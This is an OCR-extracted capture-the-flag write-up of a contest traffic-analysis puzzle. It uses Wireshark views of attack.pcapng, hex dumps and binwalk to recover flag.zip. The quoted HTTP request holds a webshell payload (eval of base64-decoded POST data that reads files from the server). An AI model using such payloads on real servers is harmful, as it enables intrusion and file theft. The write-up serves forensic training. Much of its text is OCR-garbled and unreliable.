3792 633.144811 172.16.1.101 172.16.1.102 TcP 54 80 » 1148 [FIN, ACK] Seq=344 Ack=1074 Win-64462 Len=e
3793 633.144941 172.16.1.102 172.16.1.101 TcP 60 1148 » 80 [ACK] Seq=1074 Ack=345 Win-65192 Len-0
3794 633.145052 172.16.1.102 172.16.1.101 TcP 601148 » 80 [FIN, ACK] Seq=1074 Ack=345 Win-65192 Len=6
3795 633.145070  172.16.1.101 172.16.1.102 TcP 54 80 > 1148 [ACK] Seq=345 Ack=1075 Win-64462 Len-0
3796 633.546236 172.16.1.102 172.16.1.255 NBNS 92 Name query NB C.WWWCD.TOP<@@>
3797 640.612605 172.16.1.102 172.16.1.101 TcP 621149 » 80 [SYN] Seq=0 Win-65535 Len=@ MSS=1460 SACK PERM=1
3798 640.612640  172.16.1.101 172.16.1.102 TcP 6280 > 1149 [SYN, ACK] Seq=@ Ack=1 Win-16384 Len-0 MSS=146@ SACK PERM=1 =
3799 640.612795 172.16.1.102 172.16.1.101 TcP 60 1149 » 80 [ACK] Seg=1 Ack=1 Win-65535 Len-0 ]
3800 640.612966 172.16.1.102 172.16.1.101 HTTP 866 POST /fittingroom/upload/Q.php HTTP/1.1 (application/x-www-form-urlencoded)
3801 640.613690  172.16.1.101 172.16.1.102 HTTP 438 HTTP/1.1 200 OK (text/html) v
< >
v Line-based text data: text/html (5 lines) ~
->|./\t2018-10-08 20:18:49\te\te777\n
../\t2018-10-08 19:23:49\te\te777\n
flag.zip\t2017-10-09 04:12:00\t174\t0666\n
Q.php\t2018-10-08 20:18:49\t31\t0666\n .
1
9140 37 @a 66 6C 61 67 2e 7a 69 70 09 32 30 31 37 2d  7-flag.z ip-2017- ~
9150 31 30 2d 30 39 20 30 34 3a 31 32 3a 30 30 09 31 10-09 04 :12:00-1
0160 37 34 ©9 3@ 36 36 36 @a 51 2e 70 68 70 @9 32 30 74-0666- Q.php:20

O 7 Text item {text), 38 byte(s) | $A: 3874 - EET: 3874 (100.08)

7. BE—EIRIEEZTHRACH (XBEBRET) , B XHEENNENFLAG, XEE HERECE BT —r, #Hid
5, fEJETE ST top.stream eq 1208 3 B8 — & 4T TCPIRIEEE, KIzpkRiascii, ¥ HIBRBUBRAhexti



E B ® T e X

| Mviresri

attack.pcapng

X é Qe Qi
(W tep. strean eq 1208 |
o. Tine Destination Protoel
797640612605 172.16.1.101 TcP
3798 640.612640 172.16.1.102 TCP
3799 640.612795 172.16.1.101 TCP
3800 640.612966 172.16.1.101 HTTP
3801 640.613690 172.16.1.102 HTTP
3802 640.613798 172.16.1.102 TCP
3803 640.613929 172.16.1.101 TCP
3804 640.614290 172.16.1.101 TCP
- 3805 640.614312 172.16.1.102 TCP

POST /fittingroom/upload/Q.php HTTP/1.1

Cache-control: no-cache

X-Forwarded-For: 101.159.98.98

Content-Type: application/x-www-form-urlencoded

Referer: http://172.16.1.101/

User-Agent: Mozilla/4.e (compatible; MSIE 6.8; Windows NT 5.1)
Host: 172.16.1.101

Content-Length: 508

Connection: Close

alpha=%40eval%e1%28base64_decode’28%24 POST#5Bz0%5D%29%29%3B&z0=QG1luavo
2ZXQOIMRpc3BsYX1fZXIyb31z1iwiMCIpooBzZXRfdG1tZVIsawlpdCgwkTtAC2VOX21hZz2
1jX3F1b3R1c19ydW50aW11KDApO2VjaG801ia%2BfCIpOzskRjInZXRFbWFnaWNfcXvvdG
vzX2dwYygpP3Nocmlwc2xhc2hlcygkX1BPUIRbINoxI10pOiRfUE9TVFsiejEIXTsSKkZnASQ
GZVCGVUKCRGLCIYTik7aWYoQGZnZXRjKCRmcCkpedBmY2xvc2U0IGZwKTtACmVhZGZpbGUo
JEYp0311bHN1e2VjaG80IkVSUk9S0i8vIENhbiBOb3QgUmVhZCIp03@7ZWNobygifDwtIik
7ZG11KCk7&z 1=C%3A%5C%5CphpStudy%5CA5CWWWASCHSCTittingroom%5C%5Cuploadss
C%5Cflag.zipHTTP/1.1 200 OK

Date: Mon, 08 Oct 2018 20:19:37 GMT

Server: Apache/2.4.23 (Win32) OpensSL/1.9.2J PHP/5.4.45

X-Powered-By: PHP/5.4.45

Content-Length: 180

Connection: close

Content-Type: text/html

K-
5 coocood flag.txt
Shoneo |<-

<

> Frame 3797: 62 bytes on wire (496 bits), 62 bytes captured (496 bits
> Ethernet II, Src: RealtekU 37:31:09 (52:54:00:37:31:09), Dst: Realte
> Internet Protocol version 4, src: 172.16.1.102, Dst: 172.16.1.101

. Transmission Control Protocol, Src Port: 1149, Dst Port: 80, Seq: el

1 &P AE, 1 WHE A, 1 reale)
E4-F1E (1196 bytes) ~

Bt |

Show data as ASCIIT

AR TED FEh-

-
=1}

“

SACK_PERM=1

-form-urlencoded)

52 54 @@ ad cf bs 52 54
00 30 03 ee 40 00 80 06
01 65 04 7d 00 50 ca 5a

00 37 31 09 08 00 45 00
9b ee ac 10 01 66 ac 10
85 a8 00 00 00 00 70 02

v
CoD ki

attack. peapng | #4: 3874 - BB 9 (0.2W)
4 "
32 ascii:
PK...alM...>.. flag.ttK.IL...M...K-*V.M.N-...Ry...PK...?.. ...alM...>..$... ... flag.txt
&CLLyj&C., L PKLLZ >
wrch Navigation View Tools Specialist Options Window Help
T = . = T ———— T 0 &% [ g . - .
OAkKEE= | ) By @B EER R EE L ) — ] 4= e G H O L
123.zip |
Offset 9 1 2 3 4 5 6 1T 8 9 A B C D E F
00000000 50 4B 2E 2E 2E 2E 2E 2E 2E 2E 2E 61 49 4D 2E 2E
00000010 3E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 66 6C
00000020 €1 €7 2E 74 78 74 4B 2E 49 4C 2E 2E 4D 2E 2E 4B ag.txtK.IL..M..K
00000030 2D 2R 56 2E 4D 2E 4E 2D 2E 2E 52 79 2E 2E S0 4B -*V.M.N-..Ry..PK
00000040 2E 2E 3F 2E 2E 2E 09 2E 2E 2E 2E 61 49 4D 2E 2E  ..2... ....aIM..
00000050 3E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 24 2E 2E 2E
00000060 2E 2E 2E 2E 20 2E 2E 2E 2E 2E 2E 2E 66 6C 61 &7
00000070 2E 74 78 74 OD OA 2E 20 2E 2E 2E 2E 2E 2E 2E 2E
00000080 2E 2E 2E 26 43 2E 5F 2E 2E 79 5D 26 43 2E SF 2E
00000090 2E 2E 2E 2E 2C 2E 5F 2E 2E 50 4B 2E 2E 2E 2E 2E
000000R0 2E 2E 2E 2E 2E 5A 2E 2E 2E 3E 2E 2E 2E 2E 2E 00
00000080 00 00 00 00 00 00 00 00 OO0 OO OO OO0 00 OO 00 00
000000CO 00 00 00 00 00 00 00 00 00 OO OO0 00 00 0O 00 00
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000CEO 00 00 00 00 00 00 00 00 00 OO 00 00 00 00 0O
CSDN @fmiEH)1998

HSLARB BZipIT L 2504B0304iX BRF MM, EHEKEART, HiFWE, FXHEKIRZEEHE
BHBAkaliF#ToBERER, binwalk e BB



_attack.pcapng.extracted

e—
IE
T

12 10E3AD.zip
B flag.txt

KPS —NEGEREEENNE, HEM360E%TTIT) R fag.tt— = HI S

flag{Manners maketh man}




	网络空间安全市赛Misc一道简单的流量分析题
	这道题给了一个流量包，内部分了7个小题


